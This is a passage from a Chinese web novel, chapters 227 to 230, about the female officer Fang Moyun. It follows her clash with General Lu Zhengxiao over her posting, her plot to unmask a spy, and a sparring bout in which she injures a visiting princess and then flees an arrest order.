茉云明白自己的话意味着什么。虽然她内心深处希望与他并肩作战，但她也知道大战在即，裴桥是现在面临的最棘手之事。所有他信任之人，都是身兼重任，无法离开，正啸压根抽不出人来守裴桥。
这一提议让在场的众人纷纷露出赞许的眼神，执礼和其他将领们顷刻觉得这个安排非常合适。茉云的能力毋庸置疑，且她与正啸之间的默契和信任无人能及，此时，众人似乎都认为这般决断最好。
然而，正啸却没有丝毫犹豫，目光坚定不容反驳，直接看向茉云，语气冷硬：“你回去守南元。”
这话一出口，顿时让茉云的眼神一愣，似乎一下子被一盆冰水从头浇到脚底，她的心猛地一沉，没想到正啸竟然如此果断地拒绝了她去守裴桥，还让她回南元。
看着卢正啸那不容置疑的表情，茉云顿时心中千头万绪涌来，但她却最终什么都没说……
众人亦愣了半刻未敢言语，若辰目光也略微吃惊地看向正啸。然而，正啸却没有做出任何解释，似乎此意已决，也没有意愿再与任何人讨论这个问题。
可正啸内心深处，在听到茉云提议的瞬间，就产生了强烈的排斥。他心中不像外表这般毫无波澜，内里满满都是复杂的纠结——这些日子以来，他所经历的担惊受怕，让他彻夜难免，几乎无法掌军，他决不会将她再置身于生死之地，若这是徇私，那就徇私！
“你们下去吧，让我再思虑一二。”正啸抬眉说道。
众人纷纷抱拳，低头应道：“是。”
然后，悄然准备告退，气氛不知为何也随着这一命令变得有些冷凌。茉云亦毫不犹豫地站起了身，行了礼后，头也不回的离开了营帐，没有一丝拖延和流恋。
正啸微微蹙眉，他让他们退下并不包括她。他也看得出她的背影中带着一股决然的愤怒。这一刻，他内心涌上一股难以言表的情绪，既是矛盾，又带着深深的无奈，即便她再
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怒自己不会轻易改变决定……
若辰则和执礼互相看了一眼，执礼无礼的叹了口气，而若辰嘴角微微上扬，他倒要看这次他们谁能说服谁？
就在此时，南营的大门外尘土飞扬，一行气势不小的队伍来到军营门口，原来是朗川公主饶盛男来了，她骑在高头大马上，身姿挺拔英姿飒爽，骨子里透着洒脱与盛气。
她素来是个敢爱敢恨之人，这一次，自然是为探望正啸而来。南营上下顿时一片忙碌，朗川公主的身份尊贵，元帅立刻出营亲自迎接，军中将士见她无不肃然行礼。饶盛男却毫不在意这些繁文缛节，径直向正啸的营帐而去。
营帐中，正啸坐于案前，看着南境地图，见饶盛男突然而至，他愣了半刻劈头盖脸就问：“你为何此时来了？”
帐中顿时一片静默，众人纷纷无语看向正啸，神情各异，有的暗暗吃惊，有的满脸无语。这朗川公主好歹是金枝玉叶，此番不远千里而来，探望他伤势，这一开口，谁会不觉得他过于冷硬？
正啸却神色如常，他和她自幼相识，算是好友，他皱眉看向盛男说道：“如今峑戎兵马刚撤，你不回国呆着，竟在关外乱走？你可知峑戎杀手的危险？”
饶盛男抬眸毫无惧色，目光与他对上，眼中是毫不掩饰的说：“我怕他作何，我就是要来，此番父王托我前来探望，看看你伤势可还好。”
她话语里带着几分冠冕堂皇的理由，但众人心里都明白，这朗川公主的心意，何止是奉命探望这么简单。她的眼神里带着如火一般的执着，坦荡却又率真。
正啸微微抬眼看着她，双眉微蹙，心想着此时如何完好的将朗川公主送回国，若是派沧海亲自去送，那便显得大张旗鼓，可若不派人护送，她很有可能在回国路上遇到峑戎杀手的伏击。
朗川公主却轻轻一笑，毫不在意地说道：“怎么？伤得这么重连骂人气力都没了？”
茉云正好从伙营出来，目光不经意地扫向站在营帐外等待的朗川公主的随从。那是一群衣甲鲜亮、身躯精悍之人，举手投足间尽显关外强邦的气魄。每个人腰间的长刀都雕饰华美，刀柄上代表他们民族的缨穗迎风飘扬，哪怕在肃杀的军营中，也透着一股带着异域风情的稳健和从容。
她不自觉的瞥了一眼营中，坐在正啸身旁的朗川公主饶盛男，一身红绸战袍，腰带用金丝镶嵌，眉目之间带着英气，却又不失金枝玉叶的气度和傲然。
茉云脚步微顿，不由自主地停留了一瞬，却听见饶盛男的随从一声喝来：“你是何人，在看什么！”
“我乃军中校尉！”茉云抱拳恭敬地说道。
“军中校尉？”饶盛男的随从看着一身灰尘的茉云，她本也是风尘仆仆赶回南营不久，“莫不是混入军中的峑戎细作吧？”
帐中人不禁都望向了帐外，正啸闻声顷刻间抬目望去，引得饶盛男亦跟着他的目光望去，看向这位穿着素色军甲，几处还有刀剑的划痕，肩甲上的尘土早已与甲胄融为一体的方茉云。
执礼马上起身往帐外走，连营帐外的兵都有透出几丝不悦的神情，他们竟然对茉云如此无礼。
谁知茉云恭敬的抱拳笑了说道：“我属实乃军中校尉，今日刚回营，大将军帐中有客，我先行告退，叨扰！”
此言一出，连执礼都愣了半刻，一向盛气的方茉云何以态度如此温和。
茉云说完便转身径直走了，仿若就是一个回营的小校尉，看见主帅营中有事，不敢叨扰小心离去一般，正啸却双眉微蹙的看向她的背影……
228.在意
茉云转身离开，甲胄在阳光下闪着冷冽的光。她刚走出几步，探营的王强便一脸傻笑地跟在她后头，步伐轻快，活像个做贼心虚的孩童。
茉云一脸无语，难怪当年老村长一见到自己，就说自己带他孩子去偷鸡摸狗了。
王强目光偷偷远远瞄向大将军营帐，指了指那朗川公主饶盛男的方向，压低声音对茉云笑嘻嘻地说道：“咱这……还真是差的不是一星半点哈！”
旁边的太易忍无可忍，抬脚就踹了王强一脚：“你这小子！哪壶不开提哪壶！你这是嫌命太长了吧？”
王强被踹得踉跄了一下，却嬉皮笑脸毫不在意，揉着屁股依旧不怕死活地凑了过来。
茉云冷冷望像他，低声喝道：“让你查点正事，半天线索没有，废话倒是一大堆？”
王强挠了挠头，脸上依旧嬉皮笑脸，靠近茉云一步，压低声音神秘兮兮地说道：“姐，有点眉目了。”
茉云带着质疑地看了他一眼，冷冷说道：“那就赶紧说，别磨叽。”
王强咧嘴一笑，凑到茉云耳边低声说着，自己这些日子按照茉云要求调查的一些眉目。茉云听着，眉头先是一挑，接着眼神微动，嘴角竟露出一丝罕见的笑意。
她冷哼一声看向王强，淡淡说道：“说完了？”
王强见状，笑得更开心了，还未回话，身旁的太易顿时警觉起来，像是察觉到了危险，悄无声息地往后退了一步，与王强拉开距离。
“说完了！”王强还不自知的朝她一副邀功的样子笑着附和。
茉云抬腿一脚，王强毫无防备，被踹得往后一栽，险些直接摔个四脚朝天。太易早就站得远远的，拼命低头忍着幸灾乐祸的笑，谁不知道茉云素来自身办事能力强，亦不容属下孱弱。
“查了半天就查出这点东西！”茉云一边骂，一边转身往前走去，声音透着满满的火气，“你不是在浪费军粮是干什么的？赶紧滚去干活！别让我再抓到你东跑西跑的！”
说完，她已大步离开，只留下还在地上爬起来的王强，一边揉着腰，一边不服气地嘟囔：“至于下脚这么狠嘛……”
太易则指着王强笑着说道：“你这不是欠的，没看见头从大将军营帐出来，一脸铁青，又来了个金枝玉叶，看大将军待她多客气，头心里能舒坦吗？”
“那能怪我吗？再说也怪不上人金枝玉叶吧，我来营中虽时日不久，但是人人都说，大将军对谁都是赏罚分明，恩威并施，唯独为云姐只有罚和威，看她那是处处不顺眼！”
“军中人人说，可有人会当着头说？”太易没好气的骂道。
“军中人人都这么说？”茉云忽然问道。
“对啊！”他两一起抬头回答，才意识到是茉云在问，顷刻惶恐的站得笔直，“不是，误解，那纯属……”
而茉云却抬眉轻轻笑了看向王强拍拍他的肩膀说道：“倒也是个办法，夜里在营帐旁边等我！”
夜幕落下，军营中的火光映衬着寂静的营地。王强和太易早早等在营帐外，两人靠在一起有一句没一句地聊着，心里却有些忐忑。直到茉云在夜里如影子般穿过军营，眼神凌厉地扫过他们：“跟上。”
两人赶紧起身跟在她身后，脚步放得极轻，生怕惊动了夜里的巡营士兵，一路沉默，气氛压抑得让王强都有些喘不过气来……
入夜已深之时，执礼才从正啸那里回自己营帐，他眼中透着疲惫，却准备再微微整理一下案上的文书，他点亮了烛光刚准备坐下，冷不防一抬头，猛然间看到三双眼睛正盯着他，好似直直地从阴影里冒出来。
执礼顿时大惊失色，嘴里刚要发出声，就被一旁的太易眼疾手快地捂住了嘴。
“嘘！执礼军师……冒犯了……冒犯了。”太易急忙压低声音恭敬的说道。
执礼瞪着眼睛，等看清了来人，才松了一口气，太易松开手，他便捂着胸口说道：“天啊，大晚上的……”
茉云抱着手臂斜靠倚在案几旁，面露嘲讽的冷笑道：“执礼大人，你也算自小跟着卢正啸，不说泰山崩于前而面不改色，怎得还能被吓得尖叫？”
执礼揉了揉太阳穴，深吸了一口气，露出几分无奈的笑意：“方茉云，您可别把少主让您回南元的气撒到我身上，再说南元那地不好吗？民风淳朴，风景秀丽，吃的喝的样样都有，还安全，难道不是您喜好之地？”
茉云一听这话，顿时脸上满是不爽：“哼，你等真是了解我！别废话了，我懒得跟你多扯。我问你——军中是谁走漏了消息，出卖了卢正啸的行踪，让幽戎埋伏了他？”
执礼闻言，脸上的调侃神色瞬间消失，取而代之的是凝重，他直起身子，目光直视茉云：“你查出什么眉目了？”
茉云没回话，直接抓起桌上的一叠公文，对着执礼的头狠狠拍了一下，力道十足：“我今日才回的南营，你问我？你平素干什么吃的！”
执礼捂着头，他居然也不恼反而笑了，捂着头望向她：“这不等着您回来主持大局嘛。”
旁边的王强看得目瞪口呆，他愣愣地看着执礼，又看了看茉云，忍不住想……执礼他可是军师啊，平时周总教头、震北将军、沧海将军见了他都客客气气的，他是卢家的人啊，怎就这么怕茉云呢？
王强忍不住的望向太易，太易则是一脸的理所当然。
茉云抬手指向门外，目光凌厉地看向王强：“不要惊动他人，去把杨东山大人请来，得好好合计这件事。”
王强点点头飞快地跑了出去，执礼则揉着被砸的额头，看着茉云无奈地叹了口气，没多久的时间，东山步履急促迈进营帐，一身深色长袍，一看就是套上外衣匆忙赶来。
他一进门，便立刻拱手行礼，语气带着恭敬：“杨东山，参见方校尉。”
“何须这般客套！”茉云轻轻点了点头，便开门见山地说：“东山，请你来，是为了商议一下军中细作之事！”
“是！”杨东山直起身子，目光冷静，可一抬起头便看见执礼捂着头的样子，顷刻间差点没忍住笑。
执礼亦无语且没好气的看了东山一眼，然后望向茉云道：“这么重要的事，您早说，我就早些从少主营帐出来，免得费神跟少主讨论如何将那公主送走……”
太易和王强顿时看向执礼，顿时心想大将军要将那公主送走吗？
茉云则嘴角散过一丝冷笑，冷冷看着执礼：“少说废话，先说说你怀疑谁？”
她转身坐到案上，烛光映着她的面容，那张坚毅的脸上顷刻间写满了杀伐果断的冷静。
执礼敛了笑，长叹一口气说道：“我怀疑是西营中人，可你知道，元帅和大将军怎么可能让我去彻查此事，到时候弄巧成拙让让好不容易同心同德的大军，又分崩离析！”
茉云望向东山，东山则深吸一口气说道：“执礼兄亦和我商量过此事，也查探了一些迹象，但我两当时都觉之，我两都不适合查，一来毕竟我两亦是知情人，当避嫌自证清白，二来，我是在元帅和大将军身边谋士，若是我两彻查此事，会被居心叵测之人利用揣测，说是元帅和大将军不信任西营众人，动摇军心，所以我两决定还是等你回营查明真相，自有分晓！”
茉云深吸一口气若有所思，眼中闪过一丝满意，点点头。
执礼则忍不住抬眼打量了杨东山几分，嘴角
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浮现出一点调侃的笑意，饶有兴味地问道：“奇了，杨大人，为何你这么说，就不该打？莫不是，只因我主子得罪了她？”
杨东山闻言，唇角轻轻上扬，目光从容的拱手回敬：“执礼大人，这蚊虫遭扇打，只因嘴伤人！”
随即，王强忍不住笑出了声，连太易都忍不住勾了勾嘴角，但是他两马上忍住了，要知道执礼平素在军中，可不是随意能冒犯的。
执礼居然不恼，反而笑了说道：“东山兄，你平日里温润寡言，开口之时，亦真够损！”
茉云原本冷冷的脸上也浮现出一丝浅笑，但很快又敛去，她跳下案几说道：“明日我在军帐中抓细作，你两想办法挡着元帅和副帅，不管发生何事，都别出来捣乱……”
几人闻言，脸色顿时一正，异口同声道：“遵命！”
王强低头不禁余光看向执礼等人，他们居然跟茉云说遵命二字，可是茉云只是校尉……
茉云靠在案前，微微蹙起的眉间，忽然抬起头，目光凌厉地望向东山。
“东山，”她声音低沉而淡然的问，“军中人都怎么看我和卢正啸的关系？”
东山被这一问愣了半刻，手上的动作停住，抬眼望向她，一时不知该如何作答。
茉云眼神更锐利了几分，追问道：“是不是都觉得我俩关系恶劣至极？觉得这天下，他最看我不惯？”
东山沉默片刻，带着一丝不易察觉的笑意答道：“都道是当局者迷，旁观者清，元帅和军中人，确实有这般认为的。但是在下以为，此事正好相反……”
茉云闻言微微一顿，看向东山说道：“诶，你是不是跟执礼呆久了，说话也这么绕？”
东山忍不住低笑了一声，语气依旧温和，却带着几分笃定：“实际上，东山以为，此事是当局者清！您其实知道大将军让您去南元，恰恰不是厌恶您至极，而是在意……”
东山的话尚未说完，茉云却毫不客气地打断了他说道：“行了，我只要知道，军中人是不是这么想就够了。”
烛火轻轻摇曳，茉云的身影被拉得修长而笔直，嘴角泛起一丝冷笑，自言自语道：“有何办法……能让卢正啸狠绝的赶我出南营？”
她的话一出口，帐内顿时陷入一片沉寂，所有人都愣住了，彼此交换了一下眼神，王强愣愣地挠了挠头，小声嘀咕：“云姐，您不是说笑吧？”
这时，茉云忽然眼中闪过一道光，转而目光冷锐声音微沉的问：“对了，朗川公主住在哪个营帐？”
众人神情齐齐一僵，执礼瞪大了眼睛，忍不住往前一步，带着明显的惊讶问道：“你要干什么？那可是邻邦的公主！”
东山却没有半点犹豫，站在一旁淡定如常，抬眼看了茉云一瞬，语气从容而毫不拖沓地答道：“在西侧第三排第一个营帐。”
茉云听到东山的回答，带着一抹笑意拍拍东山的肩膀，然后转身向营帐外走去，王强和太易马上跟了去，留下东山和执礼站在原地。
东山依旧一副波澜不惊的模样。
执礼却欲言又止，最后只能捂着额头叹了口气：“你告诉方茉云，公主住哪儿干嘛，你就不怕出大乱子！”
东山温和的笑了说道：“自我认识方茉云，她就未乱来过，总有出奇制胜，我等永远可笃信之！”
执礼刚松了口气，东山边迈步回营，边温润的笑着说道：“再者，我不说，她找不到？她要如何？我等拦得住？在下也不敢拦啊……执礼兄，俗话说吃一堑长一智，你何以如此有勇气？”
执礼顿时又僵住，张了张嘴，半句话都说不出来，只得长叹一口气坐了下来，这番挖苦真是……
229.惊心
夜色笼罩下的军营显得格外静谧而深沉。天幕如浓墨，点点星光在其中闪烁，显得四周狂野更为沉寂。风裹挟着冬夜的寒意掠过，带起一阵铠甲轻微的碰撞声，以及不远处军旗被风吹动的猎猎声响。
茉云的目光扫向王强和太易，眼神凌厉中带着一丝狡黠，跟他们吩咐了几句，王强脊背一紧，看向茉云，太易则拉了他一下，两人赶紧抱拳答道：“是！保证完成吩咐！”
话刚落音，茉云转身大步离开，他们忍不住偷偷瞄了一眼她的背影，想问却不敢问……
茉云一路向西侧走去，夜风轻轻拂过，吹动她额前的发丝。她的嘴角却忽然扬起了一抹若有似无的笑意，眼神中浮现出一丝戏谑。
她心中暗笑，这是谁这么有心？自己住在东侧，而那朗川公主，却被安排在西侧，隔着整个营地，住得离自己最远的地方。这是谁刻意为之？看来，也是怕我闹出什么幺蛾子啊，那正好！
趁着夜色，她飞身而起，在黑夜的掩护下，如同影子般穿梭在军营，最终落在了饶盛男的营帐前……
翌日清晨，初冬的阳光洒满军营，寒意未褪，凉风吹拂过习武场上干燥的沙土，掀起层层尘埃。
习武场上，饶盛男身穿银甲，也在马上练枪舒展筋骨，动作行云流水，英姿飒爽，眉目间却自有一股潇洒之气。围观的士兵们不禁低声议论：
“这朗川公主，果然不简单啊，剑法这么精妙！”
“果然是关外名震一方的金枝玉叶，巾帼不让须眉啊！与我等大将军着实相配……”
正在众人窃窃私语之际，场边响起了一阵清脆的马蹄声。只见茉云身披素甲骑马入场中，周身笼罩着一股冷峻的气息，眉眼如刀，整个人在清晨阳光下显得格外锐利。
饶盛男看向她，忽然停下了动作，忽然扬眉笑道：“听闻方校尉枪法和骑术皆卓绝，不切磋一番，如何？”
茉云本在和沧海打招呼，一听此言，转头望向饶盛男挑眉一笑，眼神里带着一抹冷意：“公主有此兴致，末将自当奉陪。”
沧海顿时愣了半刻看向茉云，还没等他嘱咐几句，茉云已经骑马上前了。
两人都骑马到了场中，饶盛男手握长枪，茉云则也取过自己长枪，翻腕之间寒光乍现。训练场顿时安静下来，围观的士兵们都饶有兴致的观望过来……
驰马相向一开始，饶盛男先发制人，长枪划出一道凌厉的银光，动作迅猛如风。茉云却丝毫不慌，轻轻一挑便将招式化解，反手一个横扫，带起一阵劲风，直逼饶盛男的侧身，饶盛男亦骑术了得，伏马侧身躲过。
饶盛男顷刻咬紧牙关，自然是感受到茉云的实力，心中自是不服，奋力出招气势如虹，招招狠厉。然而茉云枪法精准，骑术更是娴熟，两人缠斗几个回合后，饶盛男明显力不从心，在场上逐渐落入下风。
沧海此时也眼瞧不对了，大声喊道：“茉云，可以了！”
可谁知，就在此时，眼看饶盛男已快无法招架，两人疾驰擦身而过之时，茉云一脚飞起踹向她，饶盛男猝不及防，马被这股巨力震得一惊，饶盛男连人带枪重重摔在地上，翻滚了几圈，围观的众人顿时惊呆了，一片死寂。
“公主！”她护卫队的惊呼打破了现场的寂静。
饶盛男挣扎着撑地，口中却猛地吐出一口鲜血，当即昏厥过去。
站在一旁的朗川护卫队长见状，顿时眼神中迸射出怒意，拔剑便飞身上前。
茉云却一脸冷漠，坐在马上俯视着他吼道：“怎的？技不如人还输不起？”
这句话如火星落入炸药，朗川公主的护卫队齐齐拔剑涌上，团团围住了茉云，顷刻间剑拔弩张。
“住手！”周总教头赶到大喊道，但无人理会。
“决不能放过她！”朗川护卫队长顿时怒吼着对队员下令道，全队顿时拔出长剑纷纷挥向茉云。
而茉云却毫不示弱冷冷一笑，从马上翻身跃起，长枪如龙，扫向迎面而来的护卫，盛气凌人，完全不在意对方的身份。
一 时间，枪剑相撞声不断，南营将士亦冲上来，讲不清是扯架还是帮忙，但双方已完全打成一团。场面混乱不堪，喊声震天，无人能够阻止。就连沧海都喊不住茉云，局势已不可控制。
与此同时，威行急匆匆冲进正啸的营帐，气喘吁吁地大喊：“大将军！不好了！习武场打起来了！茉云切磋之时不小心将朗川公主踹下马，公主昏了过去，茉云现在跟公主的护卫队动起手了！”
正啸原本正在喝药，听闻此话脸色瞬间大变，顾不得身上的伤，飞身而出。若辰一脸惊诧的等人亦马上跟了出去。
正啸赶到了习武场，远远看到那片混乱的场景，茉云正持枪战数人，长枪挥动间寒光刺目，气势凌厉。而朗川公主被抬到了场边，昏死过去……
正啸二话不说飞身而入。他先是一把抓住朗川护卫队长的挥剑之臂，直接将他甩开，又猛地飞身一脚将茉云从马上踹下。茉云双臂向前挡住了这一击，飞身下马落地站稳，抬眼看向他，却见正啸目光如火，脸色铁青，显然怒不可遏。
“方茉云！”正啸低声吼道。
习武场上一片狼藉，正啸站在中央，身上的怒意如山洪般压向四周，目光灼灼，怒不可遏地盯着场中的方茉云，气场震慑得整个场地瞬间寂静下来。
周总教头上前指着方茉云压低声音吼道：“你是不是疯了！大庭广众之下，对邻邦公主下如此狠手！你这是挑起两国纷争的大罪，你知道吗？”
茉云冷冷地抬眼看向周总教头，脸上没有一丝愧疚，反而带着浓烈的不服，语气中透着几分不屑：“切磋是她先提的！刀剑无眼，我又不知道她和她马这般不扛事，碰一下就翻了！技不如人也就罢了，结果倒好，打不赢就以多欺少！”
她的话带着几分嘲弄，让场旁的朗川护卫队都攥紧了拳头，想要继续上前。周总教头听得一愣，气得脸色发青，正想再喝斥，却被正啸猛然打断。
“闭嘴！”正啸的声音如雷，震得周围一片死寂。他的目光如刀，抬手一指，大声命令道：“来人！将方茉云拿下！”
周围将士一愣，场上一时间鸦雀无声。茉云也明显一怔，愣愣地看向正啸，眼中闪过一丝不可置信，拳头不由自主地握紧了起来，呼吸微微加重，整个人站在原地一动不动。
“大将军！”茉云片刻之后咬牙说道，语气带着浓烈的不忿，“上次，也是这习武场中，我被人背后偷袭一脚踹下，摔得口吐鲜血。您可为我主持了正义？”
她声音带着压抑已久的愤怒和委屈，直直对上正啸的目光，毫不退缩。
“今日，我光明正大的切磋，她技不如人摔下马，你却要拿我！凭什么！”她的声音微微颤抖，强撑着冷硬的语气。
若辰双眉紧皱看向茉云，却愣住了，茉云的眼眶居然红了，可她依旧目光倔强地瞪着正啸，她站在那里，身形挺拔，却像一柄宁折不弯的长枪，顶着正啸的怒意，没有一丝退却。
正啸的目光落在她脸上，眼中闪过一丝异样，胸口剧烈起伏了一下，却仍旧没有立刻说话，他的手紧紧攥着，似乎是在极力压抑什么。围观的将士们一个个屏息不敢作声，气氛紧张得仿佛连空气都凝固了。
茉云依旧一脸决绝，不退让不认错，红着眼眶冷冷看着正啸，仿佛在等待着他的一句话和一丝公平。
正啸锁紧双眉，头微微下压显得分外刚硬，平日里深沉如海的眼眸，此时竟隐隐有些动荡，像是被内心的矛盾撕扯着，可他知道若不将茉云押走，朗川的护卫队绝不会放过她，正啸最终咬牙冷冷说道：“沧海，将方茉云
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拿下！”
沧海一听脸色一变，他瞬间明白了正啸的意思，随即上前，沉声道：“方茉云，你冷静点，先跟我走。”
他正欲伸手，茉云却眼神一冷，手中长枪猛地一抬，一记凌厉的挑枪，瞬间逼得沧海不得不连退数步，长枪擦着他的铁甲，发出一声脆响。
就在众人还未回神之际，茉云飞身上马，动作干脆利落，目光凌厉地扫过众人，毫不迟疑地拨马转向。
沧海满脸震惊，刚稳住身形望向茉云，他都没想到茉云此时还反抗！
威行大喊道：“方茉云，不要违抗军令！这是军中！”
围观的士兵们也彻底愣住了，目光中满是不可置信。茉云的举动，无异于当众挑战军营中最不可触碰的铁律，在卢家军中，违抗军令者死！
然而，茉云的目光却没有丝毫动摇，反而透出死寂般的绝望，直直望向正啸，控诉道：“卢正啸！自中州始，我仰望你，敬重你，使尽浑身解数，历尽千难万阻，只盼有朝一日能与你并肩作战！”
她的声音穿透寒冷的空气，直击人心，像一把利刃划开众人震惊的神情。
正啸望向茉云，他的目光瞬间一紧，眼中闪过一抹痛楚，但很快被他强行压了下去。他的眉头狠狠地皱起，像是要将那份心中的苦楚生生压进骨子里。
“任你厌我弃我，我亦不顾一切地护你周全！你说什么，我都听！你让我来，我便来，你叫我滚，我便滚！”茉云的眼眶微微泛红，声音却愈发高昂而决绝，带着满腔的不忿和一丝压抑许久的痛楚，“我方茉云何许人也？怎就这般看得起你！任由你将我弃之如敝履！”
在众人惊诧中，茉云的泪水居然划过了她冷笑的脸庞，正啸的目光不再直视她，而是躲开，因为他已快压抑不住心中的柔软和不忍，他嘴唇动了动，却终究没有发出声音，似有千言万语梗在喉间，说不出亦不能说出口。
茉云顿时将缰绳一抖，眼神终于透出了狠戾，冷冷地看着正啸吼道：“今日，我倒要让你看看，我若要走，谁拦得住！”
话音未落，她猛然一夹马腹，策马疾驰而出，单枪匹马朝着南营外冲去。围观的将士们被她这突如其来的举动震得完全愣住，竟然无人敢上前阻拦，只能目瞪口呆的送她的背影消失在漫天扬起的尘土中。
就在此时，朗川护卫队队长眼神一冷，手一伸，从旁边一名骑射营士兵手中直接抢过弓箭，搭箭拉弦，动作一气呵成，弦声破空而起。一支烈箭疾驰而出，直直朝茉云背影射去。
茉云速度极快，但烈箭更快，幸亏她正好在风中微微侧身——箭尖擦着她的鬓角掠过，带起一缕发丝和隐隐的血迹在风中消散。她的身形却没有丝毫停顿，策马继续冲向营外。
护卫队队长先是一愣，然后正要搭上第二箭，却被正啸一把抓住了臂膀，狠狠一扯。
护卫队队长怒瞪向他，目光中满是愤怒：“大将军！她意图谋杀公主，您居然还敢护她？”
“我自会拿她，给朗川一个交代！”正啸低声喝道，声音沉得仿佛能震动大地，目光如铁，满身杀伐之气，震慑全场。
朗川护卫队队长听得心头一震，动作只能僵在半空。
正啸的目光从护卫队队长身上挪开，投向远处那已经几乎消失的背影，至少她现在离开尚能自保……
正啸转身回营，当他背过身去的一刹那，所有的坚毅都仿佛融化，他的肩膀略微下沉了一些，若辰此时看向他沉重的背影，深吸一口气，茉云这是怎么了……
正啸走入营帐之时，他闭上了眼睛，深深地吸了一口气，。
对，他是铁血冷峻的将领，可是这一刻身上笼罩着如山般的压迫感，谁又能明白他此刻的感受，这些表达不出来的情绪才是真的压抑，好似万箭穿心，却不发一声……
230.惊魂
晌午之后，阴云避日，寒风掀起帘幕，带进一股清冷的冬意，正啸的营帐之中似乎陷入了一片毫无生机的寂静。
他坐在案后，面无表情，千山万莫站在一旁，神色中还带着未散的慌乱，但却大气不敢出。若辰望向正啸，他的脸上看不出任何情绪，然而那一身压迫感却让整个营帐内的空气都仿佛凝固了。
就在这时，帐外传来脚步声，元帅和魏副帅刚刚从营外巡视布防回到营中，听闻此事后，急匆匆赶了过来。一掀开帐帘，元帅便皱着眉头走进，语气急切：“这究竟是怎么回事？我听说你……你要押解茉云？怎会闹到这一步？”
魏副帅紧随其后进来，眼神惊愕地扫向站在一旁的威行，语气透着几分不敢置信：“朗川公主呢？现在如何了？”
威行站在原地犹豫片刻，最终深吸了一口气，小声答道：“……昏迷不醒。”
此话一出，营帐内的气氛更加沉重。元帅顿时瞪大了眼睛，来回踱了两步，魏副帅当即就低声怒斥：“胡闹！朗川公主若有三长两短，这局面要如何收场？这可是邻邦的金枝玉叶，稍有不慎，便是国与国之间的动荡！到底发生了什么？”
威行低着头，嘴唇微微抿紧，似乎也不敢多说，但还是硬着头皮说道：“茉云与公主在习武场切磋……枪法较量之间一时不慎。朗川公主不敌茉云，被……被摔下马，口吐鲜血，昏迷了。”
这话让元帅脸色剧变，猛然转头看向正啸：“你为何不拦着？”
魏副帅亦怒不可斥的骂道：“那方茉云呢，闯下如此大祸就让其跑了！”
一旁的执礼也早已瞪圆了双眼，似乎到现在还没有完全消化刚才听闻，他目光错愕地扫向东山，语气里透着掩饰不住的质疑。
东山却显得格外镇定，甚至连神情都没有太多波动，依旧如同湖面一般平静，似乎只有眼底闪过一丝思虑，又像是在等待。
元帅的来回踱步，最终站定冷冷地扫了正啸一眼，径直开口道：“此时，你如何打算？”
他的声音像是一把锤子，重重砸下，终于打破了营帐内令人窒息的沉默。
最终，正啸冷冷地抬起头，眉宇间带着一丝疲惫，说道：“父帅，我会处理的。”
元帅的怒意显然已经到了极点，他猛地一拍案上的军令，沉声怒骂：“是颗铁石心肠都捂热了！你却这样待她！她跟了你多少年，护了你多少次，死里逃生九死一生，你就是这样回报她的，硬要逼迫一身鸿鹄之志的茉云去南元，这话茉云说得当真是字字泣血，都因你绝情绝义，用人不明，才致如此！”
这句话如刀般刺入每个人的心。元帅拍桌的声音犹在耳边回响，那一瞬间，正啸望向元帅，眼中涌现了一抹深深的苦楚，那苦楚不是愤怒，也不是愧疚，而是一种无以复加的无奈与挣扎。
自己对她绝情绝义吗？不是，自己不知有多在意她！可即便是面对自己的父亲，他亦只能如失声般沉默……
然而，魏副帅已经上前一步，深吸一口气说道：“此事怎能怪啸儿？那方茉云太不知天高地厚，她打的是谁？那是能碰的人吗？若朗川公主在南营出了事，朗川甚至可以联合诸多盟友改为支持峑戎，破坏邦交，祸乱战局，这可是可杀头的大罪。”
“魏副帅，我说了，我会处理！”正啸顿时抬头望向魏副帅说道，声音掷地有声，每一个字都像是重锤。营帐内顷刻一片沉寂，连呼吸声都显得格外清晰。
魏副帅看着正啸的脸上怒意愣了半刻，若辰立马行礼说道：“事情亦还没有到如此糟糕之境地，毕竟公主是我等自幼相识的朋友！”
元帅听完吸了一口气，沉声说道：“魏副帅所言固然在理，但这都是后话，关键当下若是此事传入朝中，御史们的奏折便会将茉云淹没，且若更甚，被有心之人加以利用，她便再无翻身的机会，本帅绝不允许此事发生！”
他的话一出，连魏副帅这样的大老粗亦能明白他们父子护茉云之心。
执礼站在角落，脸色一片凝重，最终他深吸一口气，缓缓开口：“元帅，魏副帅，少主，此事的关键，还是朗川公主的伤势如何，以及她是否计较此事。”
“朗川公主是否计较……”元帅低声重复了一遍，目光锐利地看向正啸，“若她醒来，对茉云心怀怨愤，你打算怎么办？”
正啸没有立刻回答，许久之后，他才缓缓开口，声音低沉：“若她计较，只能给朗川一个交代！但……我会尽量道歉、相劝。”
这句话一出元帅看了他一眼，眉头深皱，长叹了一口气：“此时就看她的态度了。但卢正啸，你要可知，此事便是你一意孤行的后果。不论如何，朗川的邦交不能有事，茉云亦不能有事！”
说完，元帅背过身去大步忿然离开，似乎不愿再看他的儿子一眼。正啸的眼底的那抹苦楚越发浓烈……
魏副帅亦拍拍正啸的肩膀，转身离开了营帐，跟着元帅脚步而去。正啸抬手将案上的军务公文推开，动作缓慢而克制，像是在极力压抑心中的情绪。若辰亦没有说话，看着正啸的眼神都能感受到他的心力憔悴。
“我觉得你也不用太过担忧，以你和朗川公主的交情，应该是能劝得动的！”若辰望向正啸宽慰道，“只是我终究不知，茉云若恼你让他回南元，定会直言不讳，她素来恩怨分明，绝非那种会找她人出气之人！”
执礼和东山两人互看一眼，都隐隐都低下了头，执礼心中反复挣扎是不是要将昨日和茉云所谈之事禀报少主，可当他望向东山，他站在一旁一副波澜不惊的模样，目光平静如水，只隐隐透着一丝深邃的思索，执礼最终亦没有说话。
这个时候，突然传来帐外人来报：“禀报大将军，白神医说朗川公主已然醒来，公主脉像没有大碍。“”
“嗯！”正啸瞬间抬起眼眸起身，语气中透出一丝难以言明的累：“若辰，你随我去探望一下朗川公主。”
他与若辰、执礼一同来到朗川公主的营帐外，朗川的护卫们正肃立守卫，看到正啸一行人到来，护卫队长警惕地目光冷冷扫过他们，却未多言。通报之后，帐内传出朗川公主爽朗的声音：“让他们进来吧！”
正啸待公主饶盛男的随从掀开帐帘，方才走入，只见案桌旁，朗川公主饶盛男正仰头大口喝水。众人抱拳行礼，执礼余光望向公主，她穿得比平日里素雅，但仍掩不住她那份英气与洒脱，看起来精气神十足并无大碍。
饶盛男一眼瞧见正啸，放下茶碗，眉梢带着几分戏谑：“稀客啊，大将军竟然亲自来了？都坐吧！”
正啸站在原地目光沉沉地看了她一眼，走上前拉开一张椅子坐下，问道：“公主伤势可还好？”
